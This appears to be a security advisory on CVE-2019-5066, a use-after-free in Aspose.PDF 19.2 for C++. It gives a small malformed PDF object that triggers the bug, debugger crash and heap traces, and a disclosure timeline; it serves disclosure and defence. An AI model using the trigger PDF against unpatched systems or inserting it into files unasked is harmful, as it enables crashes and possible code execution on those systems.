CVE-2019-5066
An exploitable use-after-free vulnerability exists in the way LZW-compressed streams are processed in Aspose.PDF 19.2.for C++. A specially crafted PDF can cause a dangling heap pointer, resulting in a use-after-free condition. To trigger this vulnerability, a specifically crafted PDF document needs to be processed by the target application.
Aspose.PDF 19.2
https://products.aspose.com/pdf
9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Aspose provides a series of APIs for manipulating or converting a large family of document formats. Aspose.PDF is a library used for editing, writing, and rendering PDFs. The software provides a number of different language bindings to allow modification or creation of PDFs from a number of different developer environments.
PDF documents can contain streams compressed in various ways. One of the stream compression schemes is specified by LZWDecode
filter. Each decoder can have certain decode parameters associated with it, one of which is Predictor
value which changes the way data is encoded/decoded. While parsing a PDF object with malformed Predictor
value for its LZW compressed stream, a LZW compression object is first allocated and then subsequently freed because of the malformation, but a stale reference to it is kept. When further processing the document, this stale reference is used, leading to use after free vulnerability. The following sample PDF object can trigger this vulnerability:
obj<<
/DecodeParms
<<
/Predictor -
>>
/Filter/LZWDecode
>>
stream
endstream
PDF specification specifies only positive number values for LZWDecode
encoded streams, a negative value results in LZW object being freed. With PageHeap enabled , this results in the following crash:
(16c58.16d40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x144b9:
00007ffd`8a7a47e9 894340 mov dword ptr [rbx+40h],eax ds:00000198`055a4f10=????????
0:000> !heap -p -a rbx
address 00000198055a4ed0 found in
_DPH_HEAP_ROOT @ 1987bd01000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
19804044a90: 198055a4000 2000
00007ffdc6f0feac ntdll!RtlDebugFreeHeap+0x000000000000003c
00007ffdc6e2514b ntdll!RtlpFreeHeap+0x00000000000000ab
00007ffdc6e271ec ntdll!RtlFreeHeap+0x00000000000003fc
00007ffdc3fb88db ucrtbase!_free_base+0x000000000000001b
00007ffd8a7b2a19 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x0000000000006819
00007ffd8a7a4790 Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x0000000000014460
00007ffd8a7b9351 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000d151
00007ffd8a7b7172 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000af72
00007ffd8a4c8948 Aspose_PDF_vc141x64!Aspose::Pdf::Engine::Data::IPdfStringExtractionInfo::Type+0x0000000000006a78
00007ffd8a46afc0 Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x000000000000c290
00007ffd8a48306c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000d73c
00007ffd8a481c9c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000c36c
00007ffd8aa0f76c Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::AnnotationCollection::Delete+0x000000000000082c
00007ffd8a939c69 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::operator=+0x0000000000058019
00007ffd8a9a171c Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::operator=+0x00000000000bfacc
00007ffd8a94511d Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::operator=+0x00000000000634cd
00007ffd8a8d7c78 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::PdfActionsEnumerator::PdfActionsEnumerator+0x00000000000023c8
00007ffd8a8d82e9 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::PdfActionsEnumerator::PdfActionsEnumerator+0x0000000000002a39
00007ffd8a644575 Aspose_PDF_vc141x64!Aspose::Pdf::Facades::PdfContentEditor::CreatePopup+0x00000000000016b5
00007ffd8a8d6993 Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::PdfActionCollection::PdfActionsEnumerator::PdfActionsEnumerator+0x00000000000010e3
00007ffd8a638fb5 Aspose_PDF_vc141x64!Aspose::Pdf::Facades::PdfContentEditor::CreatePdfDocumentLink+0x00000000000010c5
00007ffd8ad72f4f Aspose_PDF_vc141x64!Aspose::Pdf::PdfASymbolicFontEncodingStrategy::PdfASymbolicFontEncodingStrategy+0x0000000000000def
00007ffd8a4de2de Aspose_PDF_vc141x64!EnumMetaInfo<enum Aspose::Pdf::Engine::Data::PdfPrimitiveType>::values+0x0000000000007bde
00007ffd8a53e95c Aspose_PDF_vc141x64!Aspose::Pdf::Document::Init+0x000000000000012c
00007ffd8a4eebe7 Aspose_PDF_vc141x64!Aspose::Pdf::Document::Document+0x00000000000002e7
00007ff71f0722ae image00007ff7_1f070000+0x00000000000022ae
00007ff71f072f44 image00007ff7_1f070000+0x0000000000002f44
00007ffdc6944034 KERNEL32!BaseThreadInitThunk+0x0000000000000014
00007ffdc6e83691 ntdll!RtlUserThreadStart+0x0000000000000021
0:000> r
rax=0000000000000001 rbx=00000198055a4ed0 rcx=000001987bd00000
rdx=000001987bd00000 rsi=00000000ffffffff rdi=0000000000000000
rip=00007ffd8a7a47e9 rsp=000000377a33b220 rbp=000000377a33b320
r8=0000019804044c78 r9=00000000ffffffff r10=00000000ffffffef
r11=000000377a33b0f0 r12=000000377a33b690 r13=0000000000000000
r14=0000000000000000 r15=000000377a33ba30
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x144b9:
00007ffd`8a7a47e9 894340 mov dword ptr [rbx+40h],eax ds:00000198`055a4f10=????????
0:000> k 5
# Child-SP RetAddr Call Site
00 00000037`7a33b220 00007ffd`8a7b9351 Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x144b9
01 00000037`7a33b390 00007ffd`8a7b7172 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0xd151
02 00000037`7a33b9b0 00007ffd`8a4c8948 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0xaf72
03 00000037`7a33bd20 00007ffd`8a46afc0 Aspose_PDF_vc141x64!Aspose::Pdf::Engine::Data::IPdfStringExtractionInfo::Type+0x6a78
04 00000037`7a33be60 00007ffd`8a48306c Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0xc290
The above shows an access violation while referencing memory pointed to by rbx
. Examining rbx
pointer shows that it indeed points to freed memory. Stepping back shows the place where the memory was actually freed, which shows that it comes from a destructor associated with Aspose::Pdf::Engine::Filters::Impls::LZWDecode::ThirdParty::LZWStream
object. Breaking before an object is freed will let us examine the allocated memory:
Breakpoint 3 hit
Aspose_PDF_vc141x64!Aspose::Pdf::PdfFormatConversionOptions::get_TransparencyAction+0x1445e:
00007ffd`8a7a478e ff10 call qword ptr [rax] ds:00007ffd`8cec5d00=00007ffd8a7b1be8
0:000> !heap -p -a ecx
address 00000198055a4fd0 found in
_DPH_HEAP_ROOT @ 1987bd01000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
19804044a90: 198055a4ed0 128 - 198055a4000 2000
? Aspose_PDF_vc141x64!Aspose::Pdf::FileParams::`vftable'+25b60
00007ffdc6f0f4bf ntdll!RtlDebugAllocateHeap+0x000000000000003f
00007ffdc6ebb530 ntdll!RtlpAllocateHeap+0x000000000008f760
00007ffdc6e29725 ntdll!RtlpAllocateHeapInternal+0x00000000000005e5
00007ffdc3fb9686 ucrtbase!_malloc_base+0x0000000000000036
00007ffd8bde1047 Aspose_PDF_vc141x64!EnumMetaInfo<enum Aspose::Pdf::VerticalAlignment>::values+0x0000000000446fc7
00007ffd8a7b92fb Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000d0fb
00007ffd8a7b7172 Aspose_PDF_vc141x64!Aspose::Pdf::Text::TableAbsorber::~TableAbsorber+0x000000000000af72
00007ffd8a4c8948 Aspose_PDF_vc141x64!Aspose::Pdf::Engine::Data::IPdfStringExtractionInfo::Type+0x0000000000006a78
00007ffd8a46afc0 Aspose_PDF_vc141x64!Aspose::Pdf::XmpPdfAExtensionSchemaDescription::operator=+0x000000000000c290
00007ffd8a48306c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000d73c
00007ffd8a481c9c Aspose_PDF_vc141x64!System::Collections::Generic::IDictionary<System::String,System::SmartPtr<Aspose::Pdf::XmpValue> >::CopyTo+0x000000000000c36c
00007ffd8aa0f76c Aspose_PDF_vc141x64!Aspose::Pdf::Annotations::AnnotationCollection::Delete+0x000000000000082c
This shows us that the freed object is of size 0x128 bytes.
By carefully controlling allocations after the object is freed, an attacker can place arbitrary objects in its place, which can lead to further memory corruption and can ultimately result in arbitrary code execution.
2019-07-29 - Vendor disclosure
2019-08-24 - Vendor acknowledged & advised issues under review
2019-09-16 - Vendor patched
2019-09-17 - Public disclosure
Discovered by Aleksandar Nikolic Cisco Talos.